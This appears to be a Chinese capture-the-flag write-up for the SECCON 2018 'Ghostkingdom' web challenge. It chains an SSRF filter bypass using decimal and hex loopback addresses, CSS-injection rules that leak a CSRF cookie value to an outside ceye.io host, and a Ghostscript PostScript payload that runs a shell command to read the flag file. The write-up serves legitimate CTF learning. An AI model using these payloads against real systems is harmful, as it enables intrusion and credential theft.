题解 首先通过注册,登陆平台后,发现有如下三个功能:
Message to admin http://ghostkingdom.pwn.seccon.jp/?action=msgadm
通过这个功能,可以给管理员发送信息。发送信息的模式有两种:普通和紧急。
1 2 3 两种模式下发送信息为test时,URL如下: 普通:?css=&msg=test&action=msgadm2 紧急:?css=c3BhbntiYWNrZ3JvdW5kLWNvbG9yOnJlZDtjb2xvcjp5ZWxsb3d9&msg=test&action=msgadm2
css参数的值是经过base64加密的,解密出来实际上是: span{background-color:red;color:yellow}
而且这个css是我们可以控制的,例如我们修改成: span{background-color:red;color:blue}
然后再经过base64加密后访问,得到效果如下:
Take a screenshot http://ghostkingdom.pwn.seccon.jp/?action=sshot
这个功能的话,服务器会访问用户输入的URL,并返回目标网站的页面截图。但是禁止访问内网,禁用了关键字:127, ::1, local ,但是我们还是可以通过: 0.0.0.0、0x7F000001 、2130706433 来访问内网。
Upload image
这个功能只能是内网登陆的用户才能使用,可以将静态图片转成 gif 格式。
那么现在的思路就是如何利用前两个功能,使我们以内网用户的身份,用上 Upload image 功能。我们来观察一下所有操作的URL,会发现大部分操作都是通过 GET 请求来实现的。
1 2 3 4 5 6 7 8 9 10 11 注册 http://ghostkingdom.pwn.seccon.jp/?user=demo66&pass1=123456&pass2=123456&action=register2 登陆 http://ghostkingdom.pwn.seccon.jp/?user=demo66&pass=123456&action=login Message to admin http://ghostkingdom.pwn.seccon.jp/?css=c3BhbntiYWNrZ3JvdW5kLWNvbG9yOnJlZDtjb2xvcjp5ZWxsb3d9&msg=test&action=msgadm2 Take a screenshot http://ghostkingdom.pwn.seccon.jp/?url=http://www.baidu.com&action=sshot2
如果是这样的话,我们就可以利用 Take a screenshot 提供的功能,进行 SSRF 攻击,从内网访问这些接口。例如我通过内网注册并登陆一个demo2333用户,可以看到此时 Upload image 功能是可以使用的。(下面的 2130706433 是 127.0.0.1 的十进制形式)
1 2 3 4 注册 http://ghostkingdom.pwn.seccon.jp/?url=http://2130706433/?user=demo2333&pass1=123456&pass2=123456&action=register2 登陆 http://ghostkingdom.pwn.seccon.jp/?url=http%3A%2F%2F2130706433%2F%3Fuser%3Ddemo2333%26pass%3D123456%26action%3Dlogin&action=sshot2
但是此时没有办法具体使用 Upload image 功能,因为上面只是一个截图,所以我们考虑通过 Message to admin 功能,获得内网用户的 cookie 。我们仔细观察 Message to admin 功能源码,会发现其中 input 标签中有一个 hidden 的 csrf 值和用户的 cookie 值一样。
此时我们的思路就是通过 SSRF 内网进行 Message to admin 操作,通过注入CSS代码窃取内网用户的CSRF token值。关于使用css选择器进行敏感信息窃取,可以参考:Reading Data via CSS Injection 。我们可以使用结合 ceye.io 平台进行数据获取,具体payload如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 input[name="csrf"][value^="0"] { background : url(http://xxxxxxx.ceye.io/0)} input[name="csrf"][value^="1"] { background : url(http://xxxxxxx.ceye.io/1)} input[name="csrf"][value^="2"] { background : url(http://xxxxxxx.ceye.io/2)} input[name="csrf"][value^="3"] { background : url(http://xxxxxxx.ceye.io/3)} input[name="csrf"][value^="4"] { background : url(http://xxxxxxx.ceye.io/4)} input[name="csrf"][value^="5"] { background : url(http://xxxxxxx.ceye.io/5)} input[name="csrf"][value^="6"] { background : url(http://xxxxxxx.ceye.io/6)} input[name="csrf"][value^="7"] { background : url(http://xxxxxxx.ceye.io/7)} input[name="csrf"][value^="8"] { background : url(http://xxxxxxx.ceye.io/8)} input[name="csrf"][value^="9"] { background : url(http://xxxxxxx.ceye.io/9)} input[name="csrf"][value^="a"] { background : url(http://xxxxxxx.ceye.io/a)} input[name="csrf"][value^="b"] { background : url(http://xxxxxxx.ceye.io/b)} input[name="csrf"][value^="c"] { background : url(http://xxxxxxx.ceye.io/c)} input[name="csrf"][value^="d"] { background : url(http://xxxxxxx.ceye.io/d)} input[name="csrf"][value^="e"] { background : url(http://xxxxxxx.ceye.io/e)} input[name="csrf"][value^="f"] { background : url(http://xxxxxxx.ceye.io/f)}
将上面的payload经过base64编码,并拼接成内网URL,然后使用SSRF进行访问。最后我们使用爆破出来的cookie登录内网,即可以使用 Upload image 功能。
当我们上传图片马,并将其转换成 gif 格式时,会出现如下错误:
1 convert: negative or zero image size `/var/www/html/images/c9acc2eb8c6ed9314f2de96e1f2dd6cc.jpg' @ error/gif.c/ReadGIFImage/1372. convert: no images defined `/var/www/html/images/c9acc2eb8c6ed9314f2de96e1f2dd6cc.gif' @ error/convert.c/ConvertImageCommand/3046.
通过搜索,会发现这是 ImageMagick 的报错。观察请求链接,如下:
1 http://ghostkingdom.pwn.seccon.jp/ghostMagick.cgi?action=convert
再次搜索 ghostMagick ,发现 ghostscript ,其在今年有爆出一个命令执行的漏洞,具体可以参考:漏洞预警 | Ghostscript存在多个漏洞 可导致远程代码执行 。所以我们直接使用下面构造好的payload即可。
1 2 3 4 5 6 %!PS userdict /setpagedevice undef legal { null restore } stopped { pop } if legal mark /OutputFile (%pipe%$(cat /var/www/html/FLAG/FLAGflagF1A8.txt)) currentdevice putdeviceprops
参考 SECCON 2018 - Web Ghostkingdom / Shooter 题解
2018SECCON ghostkingdom
Reading Data via CSS Injection
漏洞预警 | Ghostscript存在多个漏洞 可导致远程代码执行